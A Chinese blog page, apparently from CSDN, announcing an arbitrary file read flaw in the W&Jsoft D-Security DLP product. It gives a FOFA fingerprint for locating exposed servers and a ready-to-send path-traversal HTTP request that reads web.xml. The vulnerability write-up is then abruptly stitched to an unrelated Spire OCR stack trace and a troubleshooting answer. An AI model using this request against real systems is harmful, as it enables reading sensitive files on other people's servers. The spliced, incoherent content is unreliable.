W&Jsoft-D-Security数据仿泄露系统(DLP)存在任意文件读取漏洞

一、漏洞简介

W&Jsoft-D-Security数据仿泄露系统(DLP)存在任意文件读取漏洞

二、漏洞影响


三、网络测绘:

fofa:
icon_hash="616947260"

四、复现过程

首页

在这里插入图片描述

步骤 POC 1

数据包

GET /DLP/public/admintool/system_setting/sys_ds_logfile_displaylog.jsp?logType=tomcat&logFileName=../../../../../../D-Security/webapps/DLPWebApps/WEB-INF/web.xml HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Priority: u=0, i
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Upgrade-Insecure-Requests: 1

java.lang.RuntimeException: com.spire.ocr.OcrException: Error occurred during ocr.initConfig. at com.jsoft.iims.module.reimbursementbill.service.impl.IimsReimbursementInvoiceinfoServiceImpl.analysisImageToResultMap(IimsReimbursementInvoiceinfoServiceImpl.java:136) ~[classes/:1.0.1-SNAPSHOT] at com.jsoft.iims.module.reimbursementbill.service.impl.IimsReimbursementInvoiceinfoServiceImpl.applyFile(IimsReimbursementInvoiceinfoServiceImpl.java:100) ~[classes/:1.0.1-SNAPSHOT] at com.jsoft.iims.module.reimbursementbill.service.impl.IimsReimbursementInvoiceinfoServiceImpl.addInvoiceToReimbursement(IimsReimbursementInvoiceinfoServiceImpl.java:253) ~[classes/:1.0.1-SNAPSHOT] at com.jsoft.iims.module.reimbursementbill.service.impl.IimsReimbursementInvoiceinfoServiceImpl$$FastClassBySpringCGLIB$$fa2b83c7.invoke(<generated>) ~[classes/:1.0.1-SNAPSHOT] at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218) ~[spring-core-5.2.9.RELEASE.jar:5.2.9.RELEASE] at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:771) ~[spring-aop-5.2.9.RELEASE.jar:5.2.9.RELEASE] at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:163) ~[spring-aop-5.2.9.RELEASE.jar:5.2.9.RELEASE] at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:749) ~[spring-aop-5.2.9.RELEASE.jar:5.2.9.RELEASE] at org.springframework.aop.aspectj.MethodInvocationProceedingJoinPoint.proceed(MethodInvocationProceedingJoinPoint.java:88) ~[spring-aop-5.2.9.RELEASE.jar:5.2.9.RELEASE] at com.jsoft.framework.audit.aspect.AuditLogAspect.auditService(AuditLogAspect.java:85) ~[jsoft-core-common-1.0.1-SNAPSHOT.jar:1.0.1-SNAPSHOT] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_311]
07-18
### 问题分析 在使用 Spire OCR 进行 Java 开发时,出现的异常 `java.lang.RuntimeException: com.spire.ocr.OcrException: Error occurred during ocr.initConfig` 通常与本地库(Native Library)加载失败有关。该错误的核心原因在于系统无法找到或加载所需的动态链接库文件(如 `libdnnl.so.1`)[^1]。 #### 具体表现 - **异常堆栈信息**显示: ``` java.lang.UnsatisfiedLinkError: Can't load library: /home/java/agrisubs/apps/dependencies/libdnnl.so.1 ``` 表明 JVM 在指定路径 `/home/java/agrisubs/apps/dependencies/` 下找不到 `libdnnl.so.1` 文件。 - **根本原因**:Spire OCR 的某些功能依赖于本地库,而这些库需要正确配置并存在于运行环境中。 --- ### 解决方案 #### 1. 检查动态库路径和权限 确保以下条件满足: - 动态库文件 `libdnnl.so.1` 确实存在于指定目录中。 - 目录权限允许运行 Java 应用程序的用户读取该文件。 - 使用命令 `ls -l /home/java/agrisubs/apps/dependencies/libdnnl.so.1` 验证文件是否存在。 #### 2. 设置 `LD_LIBRARY_PATH` 如果动态库不在默认搜索路径中,需将包含 `libdnnl.so.1` 的目录添加到 `LD_LIBRARY_PATH` 环境变量中: ```bash export LD_LIBRARY_PATH=/home/java/agrisubs/apps/dependencies:$LD_LIBRARY_PATH ``` #### 3. 使用 `-Djava.library.path` 参数启动 JVM 在启动 Java 应用时,通过 JVM 参数指定本地库路径: ```bash java -Djava.library.path=/home/java/agrisubs/apps/dependencies -jar your_application.jar ``` #### 4. 替换或重新下载依赖库 如果 `libdnnl.so.1` 文件损坏或版本不兼容,可尝试: - 从 Spire 官方获取最新版本的 OCR SDK。 - 确保所有依赖库(如 `libopencv_java450.so`, `libtesseract.so`)也正确安装。 #### 5. 验证操作系统兼容性 确认使用的操作系统架构(如 x86/x64)与 Spire OCR 提供的本地库匹配。例如,若使用的是 64 位 Linux,则必须使用对应的 64 位 `.so` 文件。 #### 6. 日志调试建议 启用 Spire OCR 的日志输出以获取更多信息,可以在初始化时设置日志级别: ```java Ocr.setLogLevel(LogLevel.DEBUG); ``` --- ### 示例代码:初始化 OCR 并处理图像 ```java import com.spire.ocr.*; public class OcrExample { public static void main(String[] args) { try { // 初始化 OCR 引擎 Ocr ocr = new Ocr(); // 设置模型路径(如果需要) ocr.setModelPath("/path/to/models"); // 加载图像文件 String imagePath = "sample_image.png"; String result = ocr.extractText(imagePath); // 输出识别结果 System.out.println("OCR Result: " + result); } catch (Exception e) { e.printStackTrace(); } } } ``` --- ### 常见错误排查对照表 | 错误信息 | 可能原因 | 解决方法 | |----------|----------|----------| | `UnsatisfiedLinkError` | 本地库未找到或路径配置错误 | 设置 `LD_LIBRARY_PATH` 或使用 `-Djava.library.path` | | `Load failed, please check it exists` | 动态库缺失或权限不足 | 检查文件是否存在、修复权限 | | `Can't load library` | 文件格式不兼容或损坏 | 替换为官方提供的库文件 | --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值